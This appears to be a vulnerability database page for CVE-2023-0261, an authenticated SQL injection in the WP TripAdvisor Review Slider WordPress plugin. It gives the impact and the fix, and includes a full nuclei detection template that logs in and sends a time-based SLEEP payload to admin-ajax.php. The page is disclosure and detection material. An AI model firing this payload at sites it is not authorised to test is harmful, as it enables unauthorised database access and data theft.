HexBrain

Browse / CVEs / CVE-2023-0261

CVE-2023-0261· ljapps / wp tripadvisor review slider· CWE-89

WordPress WP TripAdvisor Review Slider <10.8 - Authenticated SQL Injection

highseverity
8.8CVSS score
4.4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

WordPress WP TripAdvisor Review Slider plugin before 10.8 is susceptible to authenticated SQL injection. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as subscriber. This can lead, in turn, to obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an authenticated attacker to execute arbitrary SQL queries on the WordPress database, potentially leading to unauthorized access, data manipulation, or privilege escalation.

Fix

Fixed in version 10.8.

How to confirm it

Send: POST /wp-login.php ; @timeout: 10s
Positive when: duration_2>=6 and status_code_2 == 200 and contains(content_type_2, "application/json") and contains(body_2, "\"data\":{")

Run it with nuclei: nuclei -id CVE-2023-0261 -u <target>

The full check
id: CVE-2023-0261

info:
  name: WordPress WP TripAdvisor Review Slider <10.8 - Authenticated SQL Injection
  author: theamanrawat
  severity: high
  description: |
    WordPress WP TripAdvisor Review Slider plugin before 10.8 is susceptible to authenticated SQL injection. The plugin does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as subscriber. This can lead, in turn, to obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an authenticated attacker to execute arbitrary SQL queries on the WordPress database, potentially leading to unauthorized access, data manipulation, or privilege escalation.
  remediation: Fixed in version 10.8.
  reference:
    - https://wpscan.com/vulnerability/6a3b6752-8d72-4ab4-9d49-b722a947d2b0
    - https://wordpress.org/plugins/wp-tripadvisor-review-slider/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0261
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-0261
    cwe-id: CWE-89
    epss-score: 0.04356
    epss-percentile: 0.91316
    cpe: cpe:2.3:a:ljapps:wp_tripadvisor_review_slider:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ljapps
    product: wp_tripadvisor_review_slider
    framework: wordpress
  tags: time-based-sqli,cve2023,cve,wordpress,wp,wp-tripadvisor-review-slider,auth,sqli,wp-plugin,wpscan,ljapps,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        content-type: application/x-www-form-urlencoded

        action=parse-media-shortcode&shortcode=[wptripadvisor_usetemplate+tid="1+AND+(SELECT+42+FROM+(SELECT(SLEEP(6)))b)"]

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "application/json")'
          - 'contains(body_2, "\"data\":{")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from